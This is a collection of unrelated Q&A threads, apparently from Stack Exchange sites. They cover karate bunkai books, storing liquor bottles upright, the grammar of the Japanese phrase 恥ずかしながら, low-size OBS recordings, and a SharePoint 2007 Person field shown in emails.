Comment: This post was edited and my answer became invalid, so I deleted my post. Shame, really.
Comment: @Trevoke: it was only edited to clarify that he meant bunkai by interpretation. Please review the edit history; your answer was and still is entirely valid.
Comment: @stslavik True. The edit just really emphasized that 'Shotokan' was in the title. Now I also want to add the word 'waza' to the title, though.. I mean, if we go for exactness, we may never be done.
Comment: @Trevoke: Shotokan was in the title from the first post (see edit history). Please build on the accepted community wiki answer, and include waza if you feel strongly about it being an accurate point.
Comment: @stslavik Yes, hence why I said 'emphasized'. I did not notice it at first.
Answer: There are numerous resources for learning various bunkai or kata. I don't know if I would consider any one of them authoritative (instead preferring this sort of classification better left to the teachings of a shihan), but they exist and there is no sense limiting that information.

Shihan Te: The Bunkai of Kata by Paul Anderson and Darrell Craig
Bunkai-jutsu by Iain Abernathy
The Way of Kata by Lawrence A. Kane and Kris Wilder
Bunkai Oyo DVD with Jean-Piere Lavorato
Kyokushin Kata Bunkai DVDs with Bertrand Kron
KARATE - Katas, Bunkai, Applications and Karaté Bunkais-Katas by Emmanuel Akerman (in French)
Hidden Hands by Phillip Starr
Martial Maneuvers by Phillip Starr
[Editor's Note: These previous two books give a serious look at how moves can be interpreted, and how some movements are very deceptive and should be examined in some depth to figure out what the applications can be.]

I encourage this list to be expanded and edited by those far more knowledgable in this field than I.
Answer: One outstanding source for anything bunkai is any of the chin na books by Dr. Yang Jwing Ming. Dr. Yang has probably forgotten more than most people learn in a lifetime. He authors/teaches mainly from a Chinese (Kung Fu, Tai Chi Chuan) perspective, but once you read one of his books or view one of his DVDs your reaction will be "Dang!! That might not be my art, but I've got a move in my kata that looks incredibly similar!".
And therein lies one of the secrets of bunkai - it doesn't matter what art you train in, the opponent's body is the same no matter whether you use Kung Fu or Karate*. The application of bunkai can be adapted across styles. Even if you have yet to learn similar techniques to what he shows, he has shown you the points on the body to use and the mechanics of the move and you will find that you know other techniques that can utilise the same points and mechanics.
*Speaking broadly, the bunkai Dr. Yang teaches can be utilised in most external styles
Answer: Well, yes, there are... And that's part of the problem...
The Japan Karate Association have a number of (authoritative) publications in various formats; books, CDs, DVDs etc.
http://www.amazon.com/s/ref=nb_sb_ss_c_0_24?url=search-alias%3Daps&field-keywords=japan+karate+association
However... Much of what is taught as the meaning of kata in the official publications is nonsense. example, block a kick from your left using gedan barai. Simultaneously block a low kick from the front and a high punch from the rear.
Either, they don't know the real meaning of the movements in kata, or they
are unwilling to put the real meaning into print or video.
If you go back further, you find that early publications by Funakoshi did contain real, credible applications for sequences within kata (e.g. Karate-Do Kyohan 1935 edition), only for them to be removed in later editions of the same books. Obviously not by accident. The consequence of this is that now these early editions are excruciatingly expensive and very difficult to get hold of.
So, yes there are "authoritative" resources out there, but they are not as useful as one might imagine.
There are other non authoritative resources though which can help explain kata, applications etc. They are usually not Shotokan specific, and there is no real reason for them to be.
"Bunkai Jutsu" and "The Way of Kata" are already listed by other answers. Highly recommended. Anything by the authors of those books should be read and on your shelves. Web sites and DVDs etc are also worth acquiring.
One of the most important books published, but not listed and relatively unknown outside the Goju-ryu community is "Okinawan Goju-Ryu II: Advanced Techniques of Shorei-Kan Karate" by Seikichi Toguchi. It's referenced by "The Way of Kata" and is a must read for all karateka.
Finally, because there are really no trustworthy authoritative sources, there is http://katapedia.org/. Which is my attempt to remedy the situation.
Answer: No. To avoid such knowledge being used by the wrong people, it is kept hidden and only shared to students. It's fair to assume that some particularly effective applications are not taught to people who haven't reached a certain rank.
The Way of Kata will help you learn to think about the moves in your forms and how they can be interpreted. It is well-written and will get you started, but it is not the be-all, end-all of form interpretation. I recommend you also study the following two books:
Hidden Hands
Martial Maneuvers
Be responsible, study, practice, meditate.
Comment: Re.: avoiding knowledge use by the wrong people - has the secrecy been effective?
Comment: Given the amount of misinformation and stupid stuff around, and the amazing lack of real understanding out there, I'd say yes, it is.
Answer: Bunkai means "dissection for teaching".
Contrast to korean "bunhae", which translates to "dissection for learning", but is sometimes used interchangably with the term bunkai in Korean schools.
Since it is a dissection, it is by definition exploratory, and can never be definitive.
Answer: +1 for Abernathy. But I would add
Bubishi: The Classic Manual of Combat Hardcover – by Patrick McCarthy
I have not read all the other authors listed, but I bet they all note the Bubishi.
Answer: Iain Abernethy has some good information online relating to Bunkai:

http://www.iainabernethy.co.uk/articles/The%20Basics%20of%20Bunkai%20%28Kata%20Application%29

And also in video form:

http://iainabernethy.co.uk/news/25-minutes-bunkai-videos
Comment: Welcome to the site. Generally, answers here need *substance*, not just links (links can go dead and result in a loss of information). Perhaps you could paraphrase what it is that makes those links relevant to this discussion. See [Answering Questions on martialarts.stackexchange.com](http://meta.martialarts.stackexchange.com/questions/171/answering-questions-on-martialarts-stackexchange-com)
Comment: A summary of Abernethy's content would be swell. He's got good stuff, but a raw link just isn't helpful.


Can alcohol bottles (especially liquor) be stored on their side?

Question: I have a fairly well-stocked mini-bar, but not a lot of space.  I've considered storing the bottles in a drawer, but I've heard that you should store certain alcohol upright. Is this true?  If so, why?  If it's only true for certain types of alcohol, which ones?
Answer: Beer bottles should be stored upright.  This is to minimize contact (and hence oxidization) between the beer and bottle cap, and (for unfiltered beers) to keep any sludge on the bottom of the bottles.  (How To Store Beer)
Wine should be stored (mostly) on its side.  This keeps the cork moist; and a dry cork can shrink and allow too much air into the wine bottle.  (Storage of wine)  But note that:

Champagne and other sparkling wines tend to age better if they are kept upright.

The rules for liquor aren't as defined, but it should generally be stored upright.  (Taming Your Liquor Cabinet).  It's stored that way at the factory, and it's shipped and displayed that way.  Also for many "fancy" bottle types, the bottle won't even sit properly on its side.  Also, alcohol in liquor can leak through - or even break down - whatever material is used for the cap.  But it's generally safe to store liquor bottles horizontally in the freezer for a time.  It depends a lot on the specific bottle and cap in use.
Comment: This answer does link to an article that states liquor should be stored upright, but it doesn't ultimately answer part of my question: why?  I've heard that they should be, but I haven't seen reasoning behind it.
Comment: So should liquor be stored upright to reduce the surface area exposed to oxygen?
Comment: Don't forget to turn your wine bottles every few months. If you don't, it's possible that part of the cork will be too dry and break off.
Comment: Sparkling wine should/can be stored upright depending on who you ask.
Answer: I have to concur with KatieK as to the conclusion that liquor bottles should be stored upright, as for "Why?" While I can not necessarily tell you "the reason" I can tell you "my reasons"... Liquor bottles lids are less reliable after they have been opened, upright storage prevents leakage.
I have had the unfortunate experience with a bottle of Jack that didn't keep well.
An additional reason to do this is that in all of the bars and liquor stores I have visited, I can recall never having seen liquor stored sideways...if it made sense to store those sideways the retailers would do so.
These may not be perfect reasons, but they are good enough to me...for whatever that is worth to you.
Answer: I have some opened liquor that I stored on its side in a wine cabinet.  It seems to have leaked and a ring of "sugar" dripped on the bottle below it and crystallized.  So, if it has not been opened, it may be ok.
Answer: As far as I know, storing liquor bottles on their side is a bad idea.
For screwtops, I believe storing them on the side will over time degrade the seal, especially when there is a lot of alcohol involved.
Corked liquor bottles use soft low-density cork to make it easy to remove and insert the cork, and unlike the harder, denser corks used for wine, these corks simply will not hold up to prolonged exposure to alcohol.


What conjugation is included in 恥ずかしながら?

Question: What conjugation rules are applied in 恥ずかしながら?
Answer: As Zhen Lin explained, 恥ずかしながら is formed by attaching the particle ながら (which means something close to "although") to 恥ずかし, which is the stem of the i-adjective 恥ずかしい.  However, this is not the regular pattern of ながら in modern Japanese.
The regular pattern is that when ながら is attached to an i-adjective, the adjective takes the dictionary form.  Web search shows many examples of 美しいながら, 弱いながら, and so on.
So if the phrase followed the regular pattern, it would be 恥ずかしいながら.  This form is not unseen but less common than 恥ずかしながら.  I do not know why it is.  It might be the case that the two vowels ii were contracted to one vowel i because the phrase is used very often.
Daijisen (sense [2]) states that this ながら was attached to the stem of an i-adjective in old time.  However, I do not know how "old" this "old time" refers to, and I do not know if it explains the reason why 恥ずかしながら is more common.
Comment: Isn't adjective stem + ながら similar to verb stem + ながら, for example 食べながらテレビを見る? Or does adjective not work the same as verb in this case?
Comment: @Lukman: (1) ながら in your example means that two events occur simultaneously.  ながら with this meaning cannot be attached to an adjective.  (2) As I stated in the answer, when ながら meaning "although" is attached to an i-adjective, the regular pattern is that the i-adjective takes the dictionary form.  For example, neither 美しながら nor 弱ながら sounds correct to me.  (3) When ながら (either meaning) is attached to a verb, the verb takes the continuative form (連用形).  For example, the correct form is 言いながら instead of 言ながら.
Comment: I think what you call continuative form is the same as what I learned as verb stem, because verb stem of 言う is indeed 言い. It's actually what's left of a verb when ます is taken out from the polite form (ます form)
Comment: @Lukman: Then I did not know what a verb stem is.  As I understand it, the stem of an i-adjective is the unchanged part of an i-adjective: 恥ずかし in 恥ずかしい, 美し in 美しい, 弱 in 弱い, and so on, and has nothing to do with ます (which cannot be attached to an i-adjective anyway).  Anyway, the point of my answer is that 恥ずかしながら deviates from the regular pattern of ながら being attached to an i-adjective.
Answer: The particle ながら attaches to the continuative form (連用形) of a verb or directly to the stem adjective. 恥ずかしい is an adjective with step 恥ずかし, so this is a regular formation.


How to record with low file size in OBS

Question: I downloaded OBS to try to record some online lectures with low size. I tried some other software already, but the file sizes and quality were too high. I'm trying to keep the file size as low as possible. I plan to record about an 1/1.5 hours at a time of video w/ computer audio, and the resolution, frame rate, and audio quality, etc. can all be very low as I will already have handwritten notes. I'm new to OBS, so I'm wondering what settings I should change to accomplish this. All other software I've tried have huge file sizes, so I want too make the size as low as possible such that the text is still legible and the audio is still audible.
Comment: As @Aarkon mentions, it would be helpful if you specified your use case. Are you showing Powerpoint slides with lots of 12-point text on them, or are you showing diagrams you've hand-drawn? Do you expect to be on-camera, too, and if so just a small image in the corner? Or are you running some software interactively that's not a slide presentation and wanting people to see what's going on as you click and scroll? Last, do you have a target file size besides "small"? (I.e. does the service or organization you're uploading your video to have specific limits?)
Answer: I intend to use OBS with the same objective but I'm getting pretty large files as well. Aiming to get 300mb ish videos and I'm ending up with 800mb - 1gb... and lowering bitrate and resolution didn't seem to make a difference.
While I wait and continue to look for an answer with a specific setting reccomendation, I'm using VLC to try and compress the recorded files. Don't know if this is useful to you, but on VLC go to "Media", then "Convert/Save", choose your recorded video and set the file type and settings you need. Manage to get it down to at least half the original file size.
Hope someone who actually knows what they're doing come and help soon haha
Answer: I'm not sure if OBS can actually handle that, but you can always fallback to external video encoding using e.g. ffmpeg. This enables you to compress your results really hard, lowering the resolution & bitrate to your liking. Because I don't know the file size you are aiming for, I won't give you concrete parameters here, but there are plenty of tutorials online that can tell you how to play around with those values.

How to record with low file size in OBS


Person field showing differently in email

Question: I am working on a work site with SP 2007 on which I have a list item with a Person field available to associate an employee with that item. When looking up an employee to fill that field I get their name. When I reference that field in an email, I get the employee's reference number for the company. What causes this and can I get the actual name to show in the email?
Answer: One possibility is that you may just need to change the field that is shown in your Person field. You might be showing User Name instead of Name? Just go into your list settings and click on the column's name to check out what you have at the Show field: dropdown.
Otherwise, if you have Useful Sharepoint Designer Custom Workflow Activities installed, in your Sharepoint Designer workflow you can use the "Lookup site user property" action:
Lookup this user property for this user , store in Variable
Put ImnName as the 1st this user (property), and choose your Person field in Current Item as the 2nd this user and assign it to a variable that you can then use as a Lookup under Worflow Data in your email.